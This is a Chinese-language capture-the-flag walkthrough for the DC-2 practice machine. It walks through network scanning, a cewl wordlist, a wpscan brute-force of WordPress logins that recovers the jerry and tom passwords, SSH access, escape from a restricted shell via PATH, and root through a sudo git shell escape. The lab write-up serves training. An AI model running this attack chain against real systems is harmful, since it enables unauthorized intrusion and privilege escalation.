信息收集
netdiscover -r 192.168.1.0/24
扫描发现目标机器地址为192.168.1.104
nmap端口扫描
└─$ nmap -A 192.168.1.104 -p-
84 Captured ARP Req/Rep packets, from 3 hosts. Total size: 5040
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.1.1 64:6e:97:dd:97:9b 71 4260 TP-LINK TECHNOLOGIES CO.,LTD.
192.168.1.104 08:00:27:66:2e:b1 1 60 PCS Systemtechnik GmbH
192.168.1.107 e4:5e:37:8e:32:4e 12 720 Intel Corporate
┌──(ydx㉿xuegod53)-[~]
└─$ nmap -A 192.168.1.104 -p- 130 ⨯
Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-15 15:01 CST
Stats: 0:00:08 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 15:01 (0:00:06 remaining)
Nmap scan report for 192.168.1.104
Host is up (0.00023s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Did not follow redirect to http://dc-2/
7744/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
| ssh-hostkey:
| 1024 52:51:7b:6e:70:a4:33:7a:d2:4b:e1:0b:5a:0f:9e:d7 (DSA)
| 2048 59:11:d8:af:38:51:8f:41:a7:44:b3:28:03:80:99:42 (RSA)
| 256 df:18:1d:74:26:ce:c1:4f:6f:2f:c1:26:54:31:51:91 (ECDSA)
|_ 256 d9:38:5f:99:7c:0d:64:7e:1d:46:f6:e9:7c:c6:37:17 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
扫描结果开放80和7744端口,web服务和ssh服务
访问80端口访问不了,需要修改hosts文件
访问网站
flag1
找到flag1 他提示我们使用cewl工具(一个字典生成工具)
**cewl具体使用可以参考:**https://www.codercto.com/a/44828.html
生成爆破密码字典
cewl http://dc-2/ > passwd.txt
wpscan扫描WordPress用户
发现三个用户,写入user.txt字典
然后使用wpscan 爆破后台
└─$ wpscan --url http://dc-2/ -U user.txt -P passwd.txt
爆破成功
Username: jerry, Password: adipiscing
Username: tom, Password: parturient
dirb扫后台目录
└─$ dirb http://dc-2/
登录后台
flag2
根据提示尝试别的方法,通过扫描端口记得还开放了7744端口ssh服务尝试ssh登录
登录之后发现flag3文件,但是查看不了
flag3
vi查看下提示
需要设置一个环境变量:export PATH=$PATH:/bin/ 和 然后就可以查看etc/passwd;
git提权
根据刚刚的提示他应该让我们切换杰瑞用户,还是没有权限
flag4
根据flag4的提示,git提权
sudo git help config
!/bin/bash
flag5
靶场总结
cewl 根据url返回字典文件
wpsan扫描用户名
wpscan爆破后台
dirb目录扫描
逃脱受限shell
导入PATH环境变量
git提权
思君如满月,夜夜减清辉